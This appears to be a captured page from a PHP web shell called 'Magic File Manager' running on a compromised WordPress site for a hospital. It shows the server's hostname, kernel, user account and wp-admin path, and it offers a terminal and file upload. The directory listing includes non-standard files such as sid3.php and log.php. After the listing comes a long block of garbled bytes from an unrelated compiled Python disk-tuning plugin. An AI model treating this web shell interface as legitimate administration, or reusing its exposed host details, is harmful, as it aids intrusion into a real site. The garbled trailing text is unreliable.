✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 …á�j™Bã@sjddlZddlmZddlTddlZddljZddlm Z ddl Z ddl Z ej j ƒZGdd„dejƒZdS)éNé)Úhotplug)Ú*)ÚcommandscsìeZdZdZ‡fdd„Z‡fdd„Zdd„Zdd „Zed d „ƒZ d d „Z dd„Z ‡fdd„Z ‡fdd„Z ‡fdd„Zedd„ƒZedd„ƒZdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Zd(d)„Zd*d+„Z‡fd,d-„Zd.d/„ZdZd1d2„Zd3d4„Zed5d6d7�d8d9„ƒZe d5ƒd[d;d<„ƒZ!ed=d6d7�d>d?„ƒZ"e d=ƒd\d@dA„ƒZ#edBd6d7�dCdD„ƒZ$e dBƒd]dEdF„ƒZ%dGdH„Z&dIdJ„Z'edKd6d7�dLdM„ƒZ(e dKƒd^dNdO„ƒZ)e*dPd6d7�dQdR„ƒZ+dSdT„Z,edUd6d7�dVdW„ƒZ-e dUƒd_dXdY„ƒZ.‡Z/S)`Ú DiskPlugina† `disk`:: Plug-in for tuning various block device options. This plug-in can also dynamically change the advanced power management and spindown timeout setting for a drive according to the current drive utilization. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. + The disk plug-in operates on all supported block devices unless a comma separated list of [option]`devices` is passed to it. + .Operate only on the sda block device ==== ---- [disk] # Comma separated list of devices, all devices if commented out. devices=sda ---- ==== + The [option]`elevator` option sets the Linux I/O scheduler. + .Use the bfq I/O scheduler on xvda block device ==== ---- [disk] device=xvda elevator=bfq ---- ==== + The [option]`scheduler_quantum` option only applies to the CFQ I/O scheduler. It defines the number of I/O requests that CFQ sends to one device at one time, essentially limiting queue depth. The default value is 8 requests. The device being used may support greater queue depth, but increasing the value of quantum will also increase latency, especially for large sequential write work loads. + The [option]`apm` option sets the Advanced Power Management feature on drives that support it. It corresponds to using the `-B` option of the `hdparm` utility. The [option]`spindown` option puts the drive into idle (low-power) mode, and also sets the standby (spindown) timeout for the drive. It corresponds to using `-S` option of the `hdparm` utility. + .Use a medium-agressive power management with spindown ==== ---- [disk] apm=128 spindown=6 ---- ==== + The [option]`readahead` option controls how much extra data the operating system reads from disk when performing sequential I/O operations. Increasing the `readahead` value might improve performance in application environments where sequential reading of large files takes place. The default unit for readahead is KiB. This can be adjusted to sectors by specifying the suffix 's'. If the suffix is specified, there must be at least one space between the number and suffix (for example, `readahead=8192 s`). + .Set the `readahead` to 4MB unless already set to a higher value ==== ---- [disk] readahead=>4096 ---- ==== The disk readahead value can be multiplied by the constant specified by the [option]`readahead_multiply` option. c srtt|ƒj||Žddddddddd d d d g |_d dddddddddd dg |_t|jƒ|_d|_d|_t ƒ|_ dS)NéþéáéÃé¥é‘é}éiéUéFé7ééréúéæéÒé¾éªé–é‚énéZé<ég{®Gáz„?) ÚsuperrÚ__init__Ú _power_levelsÚ_spindown_levelsÚlenÚ_levelsÚ _level_stepsÚ_load_smallestrÚ_cmd)ÚselfÚargsÚkwargs)Ú __class__©ú!/usr/lib/python3.6/plugin_disk.pyrXs zDiskPlugin.__init__csdtt|ƒjƒd|_d|_tƒ|_tƒ|_x,|j j dƒD]}|j |ƒr8|jj |j ƒq8Wtƒ|_dS)NTÚblock)rrÚ _init_devicesZ_devices_supportedÚ _use_hdparmÚsetZ _free_devicesÚdictÚ_hdparm_apm_device_supportÚ_hardware_inventoryZ get_devicesÚ_device_is_supportedÚaddZsys_nameZ_assigned_devices)r'Údevice)r*r+r,r.bs zDiskPlugin._init_devicescs‡fdd„|DƒS)Ncsg|]}ˆjjd|ƒ‘qS)r-)r3Z get_device)Ú.0Úx)r'r+r,ú nsz2DiskPlugin._get_device_objects..r+)r'Zdevicesr+)r'r,Ú_get_device_objectsmszDiskPlugin._get_device_objectscCsÈ|js dS||jkr|j|S|jjddd|gtjgdd�\}}}|tj krdtjdƒd|_dS|r–tjd|ƒtj d ||fƒd|j|<dSd |krºtjd |ƒd|j|<dSd|j|<dS) NFÚhdparmz-Cz/dev/%sT)Ú no_errorsZ return_errz4hdparm command not found, ignoring for other devicesz#Device '%s' not supported by hdparmz(rc: %s, msg: '%s')Úunknownz3Driver for device '%s' does not support apm command) r/r2r&ÚexecuteÚerrnoÚENOENTÚlogÚwarnÚinfoÚdebug)r'r6ÚrcÚoutZerr_msgr+r+r,Ú_is_hdparm_apm_supportedps*       z#DiskPlugin._is_hdparm_apm_supportedcCs2|jdko0|jjddƒdko0|jdkp0|jjdkS) NÚdiskZ removableó0ÚscsiÚvirtioÚxenÚnvme)rJrKrLrM)Z device_typeZ attributesÚgetÚparentZ subsystem)Úclsr6r+r+r,r4‡s  zDiskPlugin._device_is_supportedcCs|jj|d|jƒdS)Nr-)r3Z subscribeÚ_hardware_events_callback)r'r+r+r,Ú_hardware_events_initŽsz DiskPlugin._hardware_events_initcCs|jj|ƒdS)N)r3Z unsubscribe)r'r+r+r,Ú_hardware_events_cleanup‘sz#DiskPlugin._hardware_events_cleanupcs(|j|ƒs|dkr$tt|ƒj||ƒdS)NÚremove)r4rrrQ)r'Zeventr6)r*r+r,rQ”sz$DiskPlugin._hardware_events_callbackcs,|jdk r|jj|ƒtt|ƒj||ƒdS)N)Ú _load_monitorZ add_devicerrÚ_added_device_apply_tuning)r'ÚinstanceÚ device_name)r*r+r,rV˜s  z%DiskPlugin._added_device_apply_tuningcs,|jdk r|jj|ƒtt|ƒj||ƒdS)N)rUZ remove_devicerrÚ_removed_device_unapply_tuning)r'rWrX)r*r+r,rY�s  z)DiskPlugin._removed_device_unapply_tuningcCsddddddddœS)NT)ÚdynamicÚelevatorÚapmÚspindownÚ readaheadÚreadahead_multiplyÚscheduler_quantumr+)rPr+r+r,Ú_get_config_options¢szDiskPlugin._get_config_optionscCsddgS)Nr\r]r+)rPr+r+r,Ú#_get_config_options_used_by_dynamic®sz.DiskPlugin._get_config_options_used_by_dynamiccCsdd|_d|_d|_|j|jdƒrTd|_|jjd|jƒ|_ i|_ i|_ i|_ i|_ n d|_d|_ dS)NTrrZrHF)Z_has_static_tuningÚ _apm_errcntÚ_spindown_errcntZ _option_boolZoptionsZ_has_dynamic_tuningÚ_monitors_repositoryZcreateZassigned_devicesrUZ _device_idleÚ_statsÚ_idleÚ_spindown_change_delayed)r'rWr+r+r,Ú_instance_initµs zDiskPlugin._instance_initcCs"|jdk r|jj|jƒd|_dS)N)rUreÚdelete)r'rWr+r+r,Ú_instance_cleanupÈs zDiskPlugin._instance_cleanupcCs˜|rd}|j}n d}|j}|tjkr(dS|dkr6d}nL|tj krbtjd|_|_tjdƒdS|d7}|tjkr‚tjd|ƒ|rŽ||_n||_dS)Nr]r\rrzIhdparm command not found, ignoring future set_apm / set_spindown commandsz5disabling set_%s command: too many consecutive errors) rdrcÚconstsÚERROR_THRESHOLDr?r@rArBrC)r'rEr]ÚsZcntr+r+r,Ú_update_errcntÍs&    zDiskPlugin._update_errcntcCsNtjd|ƒ|jjdd|d|gtjgd�\}}|j|dƒd|j|<dS)Nzchanging spindown to %dr;z-S%dz/dev/%s)r<TF)rArDr&r>r?r@rorh)r'rWr6Únew_spindown_levelrErFr+r+r,Ú_change_spindownås& zDiskPlugin._change_spindowncCs2|jjddd|gtjgd�\}}d|ko0d|kS)Nr;z-Cz/dev/%s)r<ZstandbyZsleeping)r&r>r?r@)r'r6rErFr+r+r,Ú_drive_spinningës"zDiskPlugin._drive_spinningc Cs(|j|ƒsdS|jj|ƒ}|dkr&dS||jkr<|j||ƒ|j|||ƒ|j||ƒ|j|}|j|}|dd|jkrž|d|j krž|d|j kržd}n.|ddkrÈ|ddksÂ|ddkrÈd}nd}|dk�r²|d|7<|j |d}|j |d}t j d|dƒ|jtjk�rb|j|ƒ �rT|dk�rTt j d|ƒd|j|<n|j|||ƒ|jtjk�ræt j d |ƒ|jjd d |d |gtjgd �\} } |j| dƒn4|j|�ræ|j|ƒ�ræ|j |d}|j|||ƒt j d||d|dfƒt j d||d|d|dfƒdS)NÚlevelrÚreadÚwriterztuning level changed to %dz;delaying spindown change to %d, drive has already spun downTzchanging APM_level to %dr;z-B%dz/dev/%s)r<Fz %s load: read %0.2f, write %0.2fz$%s idle: read %d, write %d, level %déÿÿÿÿ)rGrUZget_device_loadrfÚ_init_stats_and_idleÚ _update_statsÚ _update_idlergr#r$r r!rArDrdrlrmrrrhrqrcr&r>r?r@ro) r'rWr6ÚloadZstatsZidleZ level_changeZnew_power_levelrprErFr+r+r,Ú_instance_update_dynamicïsF       .$  &z#DiskPlugin._instance_update_dynamiccCsDddgddgddgdœ|j|<ddddœ|j|<d|j|<dS)Né rr)ÚnewÚoldÚmax)rsrtruF)rfrgrh)r'rWr6r+r+r,rw!s$zDiskPlugin._init_stats_and_idlecCsÄ|j|d|j|d<}||j|d<dd„t||ƒDƒ}||j|d<|j|d}dd„t||ƒDƒ}||j|d<t|dƒt|dƒ|j|d <t|d ƒt|d ƒ|j|d <dS) Nr}r~cSsg|]}|d|d‘qS)rrr+)r7Znew_oldr+r+r,r9+sz,DiskPlugin._update_stats..ÚdiffrcSsg|] }t|ƒ‘qSr+)r)r7Zpairr+r+r,r90srrtéru)rfÚzipÚfloat)r'rWr6Znew_loadZold_loadr€Z old_max_loadZmax_loadr+r+r,rx&s"zDiskPlugin._update_statscCsLxFdD]>}|j|||jkr6|j||d7<qd|j||<qWdS)Nrtrurr)rtru)rfr%rg)r'rWr6Z operationr+r+r,ry7s zDiskPlugin._update_idlecs0|j|ƒstjd|ƒntt|ƒj||ƒdS)Nzr?r@ro)r'r”r6r•rTrErFr+r+r,Ú_set_apmds  ( zDiskPlugin._set_apmc Cs¾|j|ƒs |stjd|ƒdSd}d}|jjddd|gtjgd�\}}|tj krZdS|dkrhd}n@tjd |tj ƒ}|r¨yt |j d ƒƒ}Wnt k r¦d}YnX|rºtj d |ƒ|S) Nz+apm option is not supported for device '%s'Fr;z-Bz/dev/)r<rTz .*=\s*(\d+).*rz2could not get current APM settings for device '%s')rGrArCr&r>r?r@ÚreÚmatchÚSÚintÚgroupÚ ValueErrorÚerror)r'r6r™r”ÚerrrErFÚmr+r+r,Ú_get_apmts( "  zDiskPlugin._get_apmr]cCs||j|ƒs(|s tjd|ƒdSt|ƒS|jtjkrt|sl|jjddt|ƒd|gt j gd�\}}|j |dƒt|ƒSdSdS)Nz0spindown option is not supported for device '%s'r;z-Sz/dev/)r<T) rGrArCr›rdrlrmr&r>r?r@ro)r'r”r6r•rTrErFr+r+r,Ú _set_spindownŒs  ( zDiskPlugin._set_spindowncCs$|j|ƒs |stjd|ƒdSdS)Nz0spindown option is not supported for device '%s'éý)rGrArC)r'r6r™r+r+r,Ú _get_spindownœs  zDiskPlugin._get_spindowncCs |j|dƒS)Nzqueue/read_ahead_kb)r�)r'r6r+r+r,Ú_readahead_file¥szDiskPlugin._readahead_filec Cs^t|ƒjddƒ}yt|dƒ}Wntk r4dSXt|ƒdkrZ|dddkrZ|d}|S)Nrrrné)r›Úsplitr r¢r")r'r”ÚvalÚvr+r+r,Ú _parse_ra¨szDiskPlugin._parse_rar^cCsZ|j|ƒ}|j|ƒ}|dkr0tjd||fƒn&|sV|jj|d||rNtjgndd�|S)Nz,Invalid readahead value '%s' for device '%s'z%dF)r’)rªr¯rAr£r&r“r?r@)r'r”r6r•rTr–r­r+r+r,Ú_set_readahead³s  zDiskPlugin._set_readaheadcCs6|j|ƒ}|jj||d�jƒ}t|ƒdkr.dSt|ƒS)N)r’r)rªr&r˜Ústripr"r )r'r6r™r–r”r+r+r,Ú_get_readahead¿s   zDiskPlugin._get_readaheadr_c Cs”|rdS|jd|d�}|r^|j|ƒ}|dkr0dStt|ƒ|ƒ}|jj||ƒ|j||dƒn2|jj|ƒ}|dkrvdS|j||dƒ|jj|ƒdS)Nr_)Z command_namerXF) Z _storage_keyr²r rƒZ_storager0r°rNZunset) r'ZenablingZ multiplierr6Zverifyr™Z storage_keyZ old_readaheadZ new_readaheadr+r+r,Ú_multiply_readaheadÇs"  zDiskPlugin._multiply_readaheadcCs |j|dƒS)Nzqueue/iosched/quantum)r�)r'r6r+r+r,Ú_scheduler_quantum_fileÜsz"DiskPlugin._scheduler_quantum_filer`cCs8|j|ƒ}|s4|jj|dt|ƒ|r,tjgndd�|S)Nz%dF)r’)r´r&r“r r?r@)r'r”r6r•rTr–r+r+r,Ú_set_scheduler_quantumßs  z!DiskPlugin._set_scheduler_quantumcCsH|j|ƒ}|jj||d�jƒ}t|ƒdkr@|sdisk_scheduler_quantum option is not supported for device '%s')r´r&r˜r±r"rArCr )r'r6r™r–r”r+r+r,Ú_get_scheduler_quantumçs  z!DiskPlugin._get_scheduler_quantum)r†)F)F)F)F)F)0Ú__name__Ú __module__Ú __qualname__Ú__doc__rr.r:rGÚ classmethodr4rRrSrQrVrYrarbrirkrorqrrr{rwrxryr„r…r�r‘Z command_setr—Z command_getršrœr¦r§r©rªr¯r°r²Zcommand_customr³r´rµr¶Ú __classcell__r+r+)r*r,r sZJ      2        r)r?ÚrZ decoratorsZ tuned.logsZtunedZ tuned.constsrlZtuned.utils.commandsrr‰r�ZlogsrNrAZPluginrr+r+r+r,Ús